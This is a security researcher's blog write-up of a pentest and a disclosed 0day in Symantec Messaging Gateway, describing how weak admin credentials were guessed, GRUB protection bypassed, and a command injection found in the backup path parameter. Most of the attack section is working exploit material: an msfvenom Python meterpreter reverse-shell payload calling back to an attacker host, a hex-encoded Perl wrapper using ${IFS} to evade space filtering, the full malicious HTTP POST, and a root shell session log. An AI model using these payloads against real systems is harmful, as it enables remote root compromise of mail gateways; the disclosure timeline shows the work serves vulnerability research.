If you are following our blog, you must familiar with Unexpected Journey article series. In this article, I will share our latest real-life pentest experience as well as the technical details of our brand new 0day that helps us to execute operating system commands on Symantec Messaging Gateway.
Initial Phase: Enumerate Everything
Enumeration is the key..! I performed DNS enumeration, google hacking and nmap scans over the IP range of our client. Additionally, I also searched targeted company’s email pattern on leaked sources and our internally developed password database application. And found 2 different credential. One of these credentials was recoded by our internal application 2 month ago.
When I finished the analysis of nmap result, I realized that the Symantec Messaging Gateway management interface was publicly accessible. I used google in order to find out default username of this product by reading administrator guide provided by vendor. According to the information given by vendor, username is admin but the password is specified during installation phase.
So our problem is: finding out the password of admin user! Here is the list of action I decided to give a shot.
- Brute-force the hashes taken from leaked source and attempt to login e-mails by using OWA interface of exchange server. And then mine all e-mail in order to find out possible passwords.
- Brute-force weak passwords such admin, 123456 etc.
To be honest, second technique is worked. Password was Passw0rd. Uppercase P and zero instead of “o”. I tried this password manually because most of the IT employees need to use one uppercase and one digit in order to satisfy domain controller password policy while creating any account ? For this reason, they usually use these kind of combination.
That was one of the “lucky moment” of the month for us. We managed to get access web interface of Symantec Messaging Gateway but I want to get more..! And my journey has begun.
Assumptions
Here is the list of my assumptions before starting the vulnerability research on targeted product.
- Distributed as an ISO/OVA file.
- Provided by one of the most popular security company. It should be very hard to find something important ? (Nope ?)
- Hardening like a hell.
- Complex application architecture.
I downloaded the 30-day trial license and ISO file from vendor web page.
Unboxing Symantec Messaging Gateway
After I finished the installation I detect following hardening actions.
- Restricted shell. I can access the machine by using SSH but restricted shell enabled. Also I only have 80 and 443 TCP ports are accessible on my target.
- GRUB password protection.
Operation: Source code
I need to access the source-code the management interface. But I can’t use SSH due to restricted shell. I could find a way to escape from restricted shell but it may take too much time to find the way. Thus, I’ve decided to take following steps.
- Boot this virtual machine with CentOS image (Because of product is using CentOS as well)
- Choose “Rescue installed system” option from image.
- Wait until booting process finished.
- Open
/mnt/sysimage/boot/grub.conf
file and remove GRUB password protection line. - Unmount the image by using Vmware options.
- Reboot the machine.
Now, I’m able to boot the machine by providing custom parameters. Because of removing the password protection enabling line from grub configuration file, I can boot the machine on single user mode.
Accessing the box with root
By using grub menu, I’ve managed to boot the machine with single user mode which gives directly root shell without starting any services. I was planning to the disable the restricted shell for admin user but I decided to go with faster technique. I changed sshd_config in order to enable root user access and changed the password of root user.
Reboot the machine one more time.
Detecting all services & keep gathering information
We’ve got a root SSH access to the box which means we could do more information gathering about the product. I performed NMAP scan on the box. Here is the result.
➜ ~ sudo nmap -sS -sV -p - --open 12.0.0.199 -Pn -n PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.3 (protocol 2.0) 25/tcp open smtp Symantec Messaging Gateway smtpd 443/tcp open ssl/http Apache Tomcat/Coyote JSP engine 1.1 8443/tcp open ssl/http Apache Tomcat/Coyote JSP engine 1.1 41002/tcp open ssl/unknown 41015/tcp open smtp Symantec Messaging Gateway smtpd 41016/tcp open smtp Symantec Messaging Gateway smtpd 41017/tcp open smtp Symantec Messaging Gateway smtpd 41025/tcp open smtp 41443/tcp open ssl/http Apache Tomcat/Coyote JSP engine 1.1
443, 8443 and 41443: A service for management interface.
41015 – 41025: This product is designed for e-mail analysis. That’s a normal.
41002: wtf is that ?
That is interesting. We need to find out the purpose of this service.
[root@hacker ~]# netstat -tnlp |grep 41002 tcp 0 0 0.0.0.0:41002 0.0.0.0:* LISTEN 2560/bmagent [root@hacker ~]# [root@hacker ~]# ps aux|grep 2560 mailwall 2560 0.0 0.3 550428 12816 ? Sl 12:35 0:00 /opt/Symantec/Brightmail/scanner/sbin/bmagent -c /data/scanner/etc/agentconfig.xml [root@hacker ~]# [root@hacker ~]# file /opt/Symantec/Brightmail/scanner/sbin/bmagent /opt/Symantec/Brightmail/scanner/sbin/bmagent: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
Here is the command who started to listening this port. I’ve used netstat
command in order to find which process id is responsible for this service. And then by using grep
, I’ve find out the executed command. As a final step, I’ve used file
command so I can see it’s script or binary etc.
[root@hacker ~]# cat /data/scanner/etc/agentconfig.xml <?xml version="1.0"?> <!-- Default agent configuration file for brightmail --> <!-- InstallAnywhere Macros inserted --> <installation xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="6.0.0.0"> <configdir>/data/scanner/etc</configdir> <mtalogfile>/data/logs/maillog</mtalogfile> <packages> <package name="agentPackage" installed="true" enabled="true"/> </packages> <programs> <program xsi:type="agentType" name="agent"> <log level="4" period="1" periodUnits="DAY" numberRetained="30">/data/logs/scanner/agent_log</log> <networkAddress host="*" port="41002"/> <allowedIPs><allowedIP>127.0.0.1</allowedIP> <allowedIP>12.0.0.199</allowedIP> <allowedIP>1.1.1.1</allowedIP> <allowedIP>1.1.1.2</allowedIP> <allowedIP>1.1.1.3</allowedIP></allowedIPs> <ssl certFile="/data/scanner/etc/agent.cert" keyFile="/data/scanner/etc/agent.key"/> </program> </programs> </installation>
Here is the content of the configuration file. Even though it has running this service on all interface, we could only access this service through white-listed IP address. Let’s keep that in our mind and continue to work.
Locating source code
I followed similar approach to find out where is the source code. Following output shows that process id of web service and executed command to starting the service.
[root@hacker ~]# netstat -tnlp |grep 443 tcp 0 0 :::41443 :::* LISTEN 2632/jsvc.exec tcp 0 0 :::8443 :::* LISTEN 2632/jsvc.exec tcp 0 0 :::443 :::* LISTEN 2632/jsvc.exec [root@hacker ~]# [root@hacker ~]# ps aux|grep 2632 bcc 2632 2.1 13.8 3482224 541216 ? Sl 12:35 0:44 jsvc.exec -user bcc -home /usr/java/latest -wait 1200 -pidfile /var/run/jsvc.pid -outfile /data/logs/bcc/catalina.out -errfile &1 -Xmx800M -XX:MaxPermSize=128m -Djvm=bcc -Djava.awt.headless=true -Djava.util.logging.config.file=/data/bcc/conf/logging.properties -Dorg.apache.jasper.compiler.Parser.STRICT_QUOTE_ESCAPING=false -Dorg.apache.el.parser.SKIP_IDENTIFIER_CHECK=true -Dcatalina.base=/data/bcc -Dcatalina.home=/usr/share/apache-tomcat-7.0.62 -Djava.io.tmpdir=/data/bcc/temp -cp /usr/share/java/commons-daemon.jar:/usr/share/apache-tomcat-7.0.62/bin/bootstrap.jar:/usr/share/apache-tomcat-7.0.62/bin/tomcat-juli.jar org.apache.catalina.startup.Bootstrap root 8106 0.0 0.0 103312 856 pts/0 S+ 13:10 0:00 grep 2632 [root@hacker ~]#
It seems there is a user named as bcc . I’ve found the whole source code of the management interface application at under the /data/bcc
folder.
I’ve compressed whole folder and took out of the box by using SCP.
Chasing After Unknown Service
Okay, we’ve got the source code. Also we are wondering the purpose of one service. I’ve dived into the JAVA source code by using jd-gui
which is my favourite java decompiler.
So, this service is only accessible from white-listed IP address. That means, source code must be using 127.0.0.1
rather than using an ip address of the server. Also 127.0.0.1 was the first white-listed address.
I’ve searched 127.0.0.1 and found following piece of code at backupNow
function
try { if (this.log.isInfoEnabled()) { this.log.info(this.rb.getLocalizedMessage("information.agent.script.databaseBackup.start")); } String scriptName = NameHelper.getDbBackup(); AgentResultTO result = ScriptHelper.executeScript("127.0.0.1", 41002, scriptName, ScriptParamFactory.createAgentParam(params), 2, AgentSettingsDAO.TimeoutLength.Infinite); if (this.log.isInfoEnabled()) { this.log.info(this.rb.getLocalizedMessage("information.agent.script.databaseBackup.end")); } if (result.isError()) { String message = ScriptHelper.decodeMessage(result); ScriptHelper.logError("error.agent.script.databaseBackup", message); ScriptHelper.generateError("error.agent.script.databaseBackup", message); } } catch (BrightmailException e) { ScriptHelper.generateError("error.agent.script.databaseBackup", e.getMessage()); }
That is what I was expecting to see. Application send a name of scripts and parameters to this service. Lets find out which script is going to be executed. scriptName
parameter is populated by getDbBackup
function.
public static String getDbBackup() { if (dbBackup == null) { StringBuilder builder = new StringBuilder(25); builder.append("$SCRIPTSDIR$$/$"); builder.append("db-backup"); dbBackup = builder.toString(); } return dbBackup; }
Cool, now we know which script or binary is going to be executed. Lets find it.
[root@hacker bcc]# find /opt/ -type f|grep 'db-backup' /opt/Symantec/Brightmail/cli/bin/db-backup /opt/Symantec/Brightmail/cli/sbin/db-backup /opt/Symantec/Brightmail/cli/man/man1/db-backup.1 [root@hacker bcc]# [root@hacker bcc]# cat /opt/Symantec/Brightmail/cli/bin/db-backup #!/bin/sh . /data/scanner/etc/brightmail-env /usr/bin/sudo /opt/Symantec/Brightmail/cli/sbin/db-backup "$@"
That’s getting more interesting. When the task is taken by this service, it will execute a db-backup bash script which is going to execute another command with sudo.
It’s time to find out which endpoint is executing this flow. Thanks to strust.xml files, we can see which URL is mapped to which class and method. Here is the xml definition.
<action path="/backup/add" forward="/backup/action2.do?method=add"/> <action path="/backup/edit" forward="/backup/action2.do?method=edit"/> <action path="/backup/backupNow" forward="/backup/action2.do?method=showBackupNow"/> <action path="/backup/action2" type="com.symantec.smg.controlcenter.disasterrecovery.backup.BackupAction" name="backupForm" scope="request" parameter="method" validate="false" input="/admin_backup_restore.jsp"> <forward name="success" path="/admin_backup_edit.jsp"/> </action>
That means, we can execute this flow by using /brightmail/admin/backup/backupNow.do. Here is the screenshot of how does it look like.
Okey, now we know that Symantec is capable to store back-up files on remote server by using FTP or SCP. Since this process is takes too much time, they decided to do it with background job. And the service on 41002 is responsible for managing these type of tasks. Lets run it and look which command is executed.
[root@hacker bcc]# ps aux|grep 12.0.0.15 mailwall 11296 0.0 0.0 108204 1308 ? S 13:37 0:00 /bin/sh /opt/Symantec/Brightmail/common/sbin/db-backup -f SCP://root:[email protected]/tmp -t 1 -s manual root 11297 0.0 0.0 175096 2672 ? S 13:37 0:00 /usr/bin/sudo /opt/Symantec/Brightmail/cli/sbin/db-backup -f SCP://root:[email protected]/tmp -t 1 -s manual root 11298 5.0 0.5 173584 23132 ? S 13:37 0:00 /usr/bin/perl -w /opt/Symantec/Brightmail/cli/sbin/db-backup -f SCP://root:[email protected]/tmp -t 1 -s manual root 11303 0.0 0.0 57244 2400 pts/2 Ss+ 13:37 0:00 /usr/bin/scp -P 22 -q /data/tmp/db-backup.10.6.2-7.brightmail.Apr-26-17-13-37.tar [email protected]:/tmp.full.manual.tar.bz2 root 11304 0.0 0.0 59700 2952 pts/2 S+ 13:37 0:00 /usr/bin/ssh -x -oForwardAgent no -oPermitLocalCommand no -oClearAllForwardings yes -p22 -q -lroot 12.0.0.15 scp -t /tmp.full.manual.tar.bz2 root 11307 0.0 0.0 103308 872 pts/0 S+ 13:37 0:00 grep 12.0.0.15 [root@hacker bcc]#
Awesome..! This is the very promising place for command injection. As you can see, parameters that I’ve set through web application are used by the bmagent
service in order to perform file transfer over SSH.
Let’s find out a input validations. I bet there is a input validation on web application before delivering them to the bmagent service.
Finding Vulnerable Parameter
Here is the input validation part.
if (storeRemoteBackup) { if (EmptyValidator.getInstance().isValid(remoteBackupAddress)) { exceptionMsgKeys.add("error.backup.host.ip.required"); focusElement = "remoteBackupAddress"; } else if ((!DomainValidator.getInstance().isValid(remoteBackupAddress)) && (!RoutableIpValidator.getInstance().isValid(remoteBackupAddress))) { exceptionMsgKeys.add("error.backup.host.ip.invalid"); focusElement = "remoteBackupAddress"; } if (EmptyValidator.getInstance().isValid(port)) { exceptionMsgKeys.add("error.backup.host.port.empty"); focusElement = "remoteBackupPort"; } else if (!TcpUdpPortValidator.getInstance().isValid(port)) { exceptionMsgKeys.add("error.backup.host.port.invalid"); focusElement = "remoteBackupPort"; } String path = backupForm.get("remoteBackupPath").toString(); if (EmptyValidator.getInstance().isValid(path)) { exceptionMsgKeys.add("error.backup.path.empty"); focusElement = "remoteBackupPath"; } else { UsAsciiValidator v = UsAsciiValidator.getInstance(); if (!v.isValid(path)) { exceptionMsgKeys.add("error.backup.path.only.ascii.allowed"); focusElement = "remoteBackupPath"; } } }
Following rules are enabled on this validation.
- remoteBackupAddress can NOT be empty.
- remoteBackupAddress must be Routable IP Address.
- port can NOT be empty.
- port must be valid number for TCP and UDP.
- path can NOT be empty.
- path must be ASCII?
That it’s a obvious command injection vulnerability through path parameter.
Our Exploitation Road Map
Here is the road to command injection attack.
- Login with credentials
- Browse
/brightmail/admin/backup/backupNow.do
- Choose “Store backup on a remote location” option.
- Choose SCP as a protocol
- Fill the ip address, port field with a valid SSH service information. (Use your own kali)
- Enable “
- Fill the username & password field with valid SSH credentials.
- Put your payload on tmp parameter. Do not forget to use
$()
or``
so you can perform command injection.
During my test, I’ve realised that using SPACE on payload crash something. You need to use $IFS instead of space 😉
PoC
I ❤️ meterpreter. I always try to get meterpreter shell instead of cmd one. Here is the tricks that I’ve done for getting python meterpreter.
Here is the python payload generated by msfvenom.
msfvenom -p python/meterpreter/reverse_tcp LHOST=12.0.0.1 LPORT=8081 -f raw import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxMi4wLjAuMScsODA4MSkpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))
So I need to pass the payload to the python -c "PAYLOAD"
. But using space is not allowed. So I can use ${IFS}
which convert the final payload to the python${IFS}-v${IFS}"PAYLOAD"
. But the problem is that we’ve also one more space at payload inside, between import and base64. And ${IFS} is trick for linux terminal not for python!
It’s time to get creative. I’ve came up with an idea. I could use perl payloads. Because I know from my previous experience, I can create a perl payload without space. So the idea is that build a perl payload that executes our lovely meterpreter python payload.
Here is the how to do it.
cmd = "python -c \"#{payload.encoded}\"" final_payload = cmd.to_s.unpack("H*").first p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"
Final payload will be like following.
perl${IFS}-e${IFS}'system(pack(qq,H732,,qq,707974686f6e202d632022696d706f7274206261736536342c7379733b65786563286261736536342e6236346465636f6465287b323a7374722c333a6c616d62646120623a627974657328622c275554462d3827297d5b7379732e76657273696f6e5f696e666f5b305d5d28276157317762334a3049484e765932746c6443787a64484a315933514b637a317a62324e725a5851756332396a613256304b4449736332396a613256304c6c4e5051307466553152535255464e4b51707a4c6d4e76626d356c5933516f4b4363784d6934774c6a41754d5363734e4451304e436b70436d77396333527964574e304c6e56756347466a6179676e506b6b6e4c484d75636d566a646967304b536c624d46304b5a44317a4c6e4a6c5933596f62436b4b6432687062475567624756754b4751705047773643676c6b4b7a317a4c6e4a6c5933596f624331735a57346f5a436b70436d56345a574d6f5a4378374a334d6e4f6e4e394b516f3d2729292922,))')
a perl payload, that contains python meterpreter payload ? It’s time to get shell. Here is the HTTP POST that triggers the vulnerability.
POST /brightmail/admin/backup/performBackupNow.do HTTP/1.1 Host: 12.0.0.199:8443 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 1188 Referer: https://12.0.0.199:8443/brightmail/admin/backup/backupNow.do Cookie: JSESSIONID=67376D92B987724ED2309C86990690E3; userLanguageCode=en; userCountryCode=US; navState=expanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded; JSESSIONID=0360B579A58BBBB8D74FEE4767BCAC10 Connection: close Upgrade-Insecure-Requests: 1 pageReuseFor=backup_now&id=&symantec.brightmail.key.TOKEN=48f39f735f15fcaccd0aacc40b27a67bf76f2bb1&backupData=full&customType=configuration&includeIncidentMessages=true&includeReportData=true&includeLogData=true&backupTo=2&remoteBackupProtocol=SCP&remoteBackupAddress=127.0.0.1&remoteBackupPort=22&remoteBackupPath=tmp$(perl${IFS}-e${IFS}'system(pack(qq,H732,,qq,707974686f6e202d632022696d706f7274206261736536342c7379733b65786563286261736536342e6236346465636f6465287b323a7374722c333a6c616d62646120623a627974657328622c275554462d3827297d5b7379732e76657273696f6e5f696e666f5b305d5d28276157317762334a3049484e765932746c6443787a64484a315933514b637a317a62324e725a5851756332396a613256304b4449736332396a613256304c6c4e5051307466553152535255464e4b51707a4c6d4e76626d356c5933516f4b4363784d6934774c6a41754d5363734e4451304e436b70436d77396333527964574e304c6e56756347466a6179676e506b6b6e4c484d75636d566a646967304b536c624d46304b5a44317a4c6e4a6c5933596f62436b4b6432687062475567624756754b4751705047773643676c6b4b7a317a4c6e4a6c5933596f624331735a57346f5a436b70436d56345a574d6f5a4378374a334d6e4f6e4e394b516f3d2729292922,))')&requiresRemoteAuthentication=true&remoteBackupUsername=root&remoteBackupPassword=qwe123
And there you go.
msf exploit(handler) > run [*] Started reverse TCP handler on 12.0.0.1:4444 [*] Starting the payload handler... [*] Sending stage (39842 bytes) to 12.0.0.199 [*] Meterpreter session 2 opened (12.0.0.1:4444 -> 12.0.0.199:54077) at 2017-04-30 17:03:26 +0300 meterpreter > shell Process 15849 created. Channel 1 created. sh: no job control in this shell sh-4.1# id uid=0(root) gid=0(root) groups=0(root) sh-4.1#
We are ready to get root shell from Symantech Messaging Gateway and continue with post exploitation. Unfortunately, I can’t share the details about what we’ve done during post exploitation since it contains a sensitive data about out client.
Metasploit Module On Action
Ofcourse I’ve implemented the metasploit module as well. Here is the how it works.
Pull request is here. https://github.com/rapid7/metasploit-framework/pull/8540
Timeline
24 April 2017 – Vulnerability found.
24 April 2017 – All details and short term mitigation without vendor support are shared with PRODAFT GPACT members.
26 April 2017 – First contact with vendor.
2 May 2017 – Symantec product team confirms that vulnerability is legitimate.
25 May 2017 – We requested update about status of this finding.
25 May 2017 – Symantec replied and said that they have planned patch release for Jun. They will let us know when patch released.
08 Jun 2017 – Our customer told us they we’ve seen a update notification from vendor. (https://support.symantec.com/en_US/article.ALERT2377.html). It seem Symantec released a 10.6.3 version without notifying us nor asking for patch validation.
10 Jun 2017 – Public disclosure.